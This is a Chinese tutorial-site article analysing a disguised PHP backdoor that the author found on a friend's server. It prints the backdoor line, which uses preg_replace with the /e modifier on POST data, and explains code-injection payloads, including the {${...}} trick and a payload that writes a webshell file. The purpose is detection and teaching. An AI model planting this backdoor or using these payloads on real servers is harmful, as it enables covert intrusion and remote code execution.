来源:自学PHP网 时间:2014-11-27 22:16 作者: 阅读:次
[导读] php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码.事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马,老是找不...
preg_replace隐藏后门和后续探究php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码. 事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马,老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的,这个着实让人蛋疼. 后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件,然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门,但是很快使用完毕后门就被删除了,哈哈,遇到小黑蛮细心的,然后通过分析发现,小黑的访问的文件发现代码: @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied"); 如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门,隐蔽吧,基本上任何查杀软件都查杀不到. preg_replace函数原型: mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误. 上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。 举例,代码如下:echo preg_replace("/test/e",$_GET["h"],"jutst test"); 如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP代码执行). 如果我们要POST的话,我们测试提交下面的代码会怎么样呢?代码如下:
密文对应的明文是如下代码:fputs(fopen(data/a.php,w),); 执行的结果是在/data/目录下生成一个一句话木马文件 a.php,这个就恐怖了吧,再来一个有难度的例子,代码如下:
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗? 肯定不会,因为经过正则匹配后,replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了. 有没有办法让它执行呢?当然有,在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行,为什么呢? 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理. 注意:双引号中的函数不会被执行和替换. 在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果. (${phpinfo()}会被解释执行)。 可以先做如下测试:echo "{${phpinfo()}}"; phpinfo会被成功执行了,所以,各位查找后门的时候注意查找下,说了那么多,也了解了,以下我给的代码: 1 @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied"); 看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊. |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com